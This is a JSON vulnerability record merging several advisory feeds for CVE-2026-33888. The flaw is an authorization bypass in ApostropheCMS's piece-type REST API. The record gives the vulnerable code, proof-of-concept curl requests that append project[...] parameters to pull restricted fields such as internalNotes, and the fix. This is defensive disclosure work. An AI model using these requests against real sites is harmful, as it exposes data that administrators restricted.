{"id":"CVE-2026-33888","aliases":["EUVD-2026-23102","GHSA-xhq9-58fw-859p"],"status":"published","title":"ApostropheCMS: publicApiProjection Bypass via `project` Query Builder in Piece-Type REST API","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00512,"percentile":0.4416,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-863"],"published":"2026-04-15T19:25:46Z","modified":"2026-10-28T02:30:22Z","fixes":[{"ecosystem":"npm","package":"apostrophe","fixed_in":["4.29.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.29.0"}]}]},{"source":"osv","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.29.0"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"},{"vendor":"apostrophecms","product":"apostrophecms"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-xhq9-58fw-859p","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/00d472804bb622df36a761b6f2cf2b33b2d4ce80","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33888","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xhq9-58fw-859p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33888.json","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33888","title":"ApostropheCMS: publicApiProjection Bypass via `project` Query Builder in Piece-Type REST API","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:25:46.262Z","modified":"2026-04-15T20:03:30.594Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-863","CWE-200"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-23102","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:25:46Z","modified":"2026-04-15T20:03:30Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:24.796113Z"}],"ghsa":[{"id":"GHSA-xhq9-58fw-859p","title":"ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API","description":"## Summary\n\nThe `getRestQuery` method in the `@apostrophecms/piece-type` module checks whether a MongoDB projection has already been set before applying the admin-configured `publicApiProjection`. An unauthenticated attacker can supply a `project` query parameter in the REST API request to pre-populate the projection state, causing the security-enforced `publicApiProjection` to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.\n\n## Details\n\nWhen an unauthenticated user queries the piece-type REST API, the `getRestQuery` method processes the request at `modules/@apostrophecms/piece-type/index.js:1120`:\n\n```javascript\n// piece-type/index.js:1120-1137\ngetRestQuery(req, omitPermissionCheck = false) {\n  const query = self.find(req).attachments(true);\n  query.applyBuildersSafely(req.query);          // [1] attacker input applied first\n  if (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n    if (!self.options.publicApiProjection) {\n      query.and({\n        _id: null\n      });\n    } else if (!query.state.project) {            // [2] checks if projection already set\n      query.project({\n        ...self.options.publicApiProjection,\n        cacheInvalidatedAt: 1\n      });\n    }\n  }\n  return query;\n},\n```\n\nAt **[1]**, `applyBuildersSafely` iterates over all query string parameters and invokes their corresponding builder methods. The `project` builder exists in `@apostrophecms/doc-type` with a `launder` method (`doc-type/index.js:1876`) that sanitizes values to booleans:\n\n```javascript\n// doc-type/index.js:1875-1889\nproject: {\n  launder (p) {\n    if (!p || typeof p !== 'object' || Array.isArray(p)) {\n      return {};\n    }\n    const projection = Object.entries(p).reduce((acc, [ key, val ]) =\u003e {\n      return {\n        ...acc,\n        [key]: self.apos.launder.boolean(val)\n      };\n    }, {});\n    return projection;\n  },\n```\n\nWhen a request includes `?project[someField]=1`, the builder sets `query.state.project` to `{someField: true}`. At **[2]**, the conditional `!query.state.project` evaluates to `false` because the state is already populated, so the `publicApiProjection` is never applied.\n\nFor comparison, the `@apostrophecms/page` module's equivalent method (`page/index.js:2953`) unconditionally applies the projection:\n\n```javascript\n// page/index.js:2953-2958\n} else {\n  query.project({\n    ...self.options.publicApiProjection,\n    cacheInvalidatedAt: 1\n  });\n}\n```\n\n## PoC\n\n**Prerequisites:** An ApostropheCMS 4.x instance with a piece-type (e.g., `article`) that has `publicApiProjection` configured to restrict fields. For example:\n\n```javascript\n// modules/article/index.js\nmodule.exports = {\n  extend: '@apostrophecms/piece-type',\n  options: {\n    publicApiProjection: {\n      title: 1,\n      _url: 1\n    }\n  }\n};\n```\n\n**Step 1:** Normal request — observe restricted fields are hidden:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article'\n```\n\nResponse returns only `title` and `_url` fields per the configured projection.\n\n**Step 2:** Bypass projection by supplying `project` query parameter:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[internalNotes]=1\u0026project[title]=1\u0026project[slug]=1\u0026project[createdAt]=1'\n```\n\nResponse now includes `internalNotes`, `slug`, `createdAt`, and any other requested fields — bypassing the admin-configured `publicApiProjection` restriction.\n\n**Step 3:** Request all default fields by projecting inclusion of sensitive fields:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[_id]=1\u0026project[title]=1\u0026project[slug]=1\u0026project[visibility]=1\u0026project[type]=1\u0026project[createdAt]=1\u0026project[updatedAt]=1'\n```\n\nAll requested fields are returned, confirming the `publicApiProjection` is fully bypassed.\n\n## Impact\n\n- **Information Disclosure:** An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.\n- **Scope:** Affects all piece-type modules with `publicApiProjection` configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.\n- **Exploitability:** Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.\n\n## Recommended Fix\n\nRemove the conditional check on `query.state.project` in `piece-type/index.js`, matching the page module's unconditional behavior. The admin-configured `publicApiProjection` should always override any user-supplied projection for unauthenticated users:\n\n```javascript\n// modules/@apostrophecms/piece-type/index.js:1123-1134\n// BEFORE (vulnerable):\nif (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n  if (!self.options.publicApiProjection) {\n    query.and({\n      _id: null\n    });\n  } else if (!query.state.project) {\n    query.project({\n      ...self.options.publicApiProjection,\n      cacheInvalidatedAt: 1\n    });\n  }\n}\n\n// AFTER (fixed):\nif (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n  if (!self.options.publicApiProjection) {\n    query.and({\n      _id: null\n    });\n  } else {\n    query.project({\n      ...self.options.publicApiProjection,\n      cacheInvalidatedAt: 1\n    });\n  }\n}\n```","status":"published","published":"2026-04-16T20:42:21Z","modified":"2026-04-16T20:42:22Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-02T14:39:54.128054Z"}],"nvd":[{"id":"CVE-2026-33888","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T20:16:35.677Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-02T14:12:14.748836Z"}],"osv":[{"id":"CVE-2026-33888","title":"ApostropheCMS: publicApiProjection Bypass via `project` Query Builder in Piece-Type REST API","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:25:46.262Z","modified":"2026-10-28T02:30:22.509816838Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-xhq9-58fw-859p","title":"ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API","description":"## Summary\n\nThe `getRestQuery` method in the `@apostrophecms/piece-type` module checks whether a MongoDB projection has already been set before applying the admin-configured `publicApiProjection`. An unauthenticated attacker can supply a `project` query parameter in the REST API request to pre-populate the projection state, causing the security-enforced `publicApiProjection` to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.\n\n## Details\n\nWhen an unauthenticated user queries the piece-type REST API, the `getRestQuery` method processes the request at `modules/@apostrophecms/piece-type/index.js:1120`:\n\n```javascript\n// piece-type/index.js:1120-1137\ngetRestQuery(req, omitPermissionCheck = false) {\n  const query = self.find(req).attachments(true);\n  query.applyBuildersSafely(req.query);          // [1] attacker input applied first\n  if (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n    if (!self.options.publicApiProjection) {\n      query.and({\n        _id: null\n      });\n    } else if (!query.state.project) {            // [2] checks if projection already set\n      query.project({\n        ...self.options.publicApiProjection,\n        cacheInvalidatedAt: 1\n      });\n    }\n  }\n  return query;\n},\n```\n\nAt **[1]**, `applyBuildersSafely` iterates over all query string parameters and invokes their corresponding builder methods. The `project` builder exists in `@apostrophecms/doc-type` with a `launder` method (`doc-type/index.js:1876`) that sanitizes values to booleans:\n\n```javascript\n// doc-type/index.js:1875-1889\nproject: {\n  launder (p) {\n    if (!p || typeof p !== 'object' || Array.isArray(p)) {\n      return {};\n    }\n    const projection = Object.entries(p).reduce((acc, [ key, val ]) =\u003e {\n      return {\n        ...acc,\n        [key]: self.apos.launder.boolean(val)\n      };\n    }, {});\n    return projection;\n  },\n```\n\nWhen a request includes `?project[someField]=1`, the builder sets `query.state.project` to `{someField: true}`. At **[2]**, the conditional `!query.state.project` evaluates to `false` because the state is already populated, so the `publicApiProjection` is never applied.\n\nFor comparison, the `@apostrophecms/page` module's equivalent method (`page/index.js:2953`) unconditionally applies the projection:\n\n```javascript\n// page/index.js:2953-2958\n} else {\n  query.project({\n    ...self.options.publicApiProjection,\n    cacheInvalidatedAt: 1\n  });\n}\n```\n\n## PoC\n\n**Prerequisites:** An ApostropheCMS 4.x instance with a piece-type (e.g., `article`) that has `publicApiProjection` configured to restrict fields. For example:\n\n```javascript\n// modules/article/index.js\nmodule.exports = {\n  extend: '@apostrophecms/piece-type',\n  options: {\n    publicApiProjection: {\n      title: 1,\n      _url: 1\n    }\n  }\n};\n```\n\n**Step 1:** Normal request — observe restricted fields are hidden:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article'\n```\n\nResponse returns only `title` and `_url` fields per the configured projection.\n\n**Step 2:** Bypass projection by supplying `project` query parameter:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[internalNotes]=1\u0026project[title]=1\u0026project[slug]=1\u0026project[createdAt]=1'\n```\n\nResponse now includes `internalNotes`, `slug`, `createdAt`, and any other requested fields — bypassing the admin-configured `publicApiProjection` restriction.\n\n**Step 3:** Request all default fields by projecting inclusion of sensitive fields:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[_id]=1\u0026project[title]=1\u0026project[slug]=1\u0026project[visibility]=1\u0026project[type]=1\u0026project[createdAt]=1\u0026project[updatedAt]=1'\n```\n\nAll requested fields are returned, confirming the `publicApiProjection` is fully bypassed.\n\n## Impact\n\n- **Information Disclosure:** An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.\n- **Scope:** Affects all piece-type modules with `publicApiProjection` configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.\n- **Exploitability:** Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.\n\n## Recommended Fix\n\nRemove the conditional check on `query.state.project` in `piece-type/index.js`, matching the page module's unconditional behavior. The admin-configured `publicApiProjection` should always override any user-supplied projection for unauthenticated users:\n\n```javascript\n// modules/@apostrophecms/piece-type/index.js:1123-1134\n// BEFORE (vulnerable):\nif (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n  if (!self.options.publicApiProjection) {\n    query.and({\n      _id: null\n    });\n  } else if (!query.state.project) {\n    query.project({\n      ...self.options.publicApiProjection,\n      cacheInvalidatedAt: 1\n    });\n  }\n}\n\n// AFTER (fixed):\nif (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n  if (!self.options.publicApiProjection) {\n    query.and({\n      _id: null\n    });\n  } else {\n    query.project({\n      ...self.options.publicApiProjection,\n      cacheInvalidatedAt: 1\n    });\n  }\n}\n```","status":"published","published":"2026-04-16T20:42:21Z","modified":"2026-04-16T21:11:29.417996Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}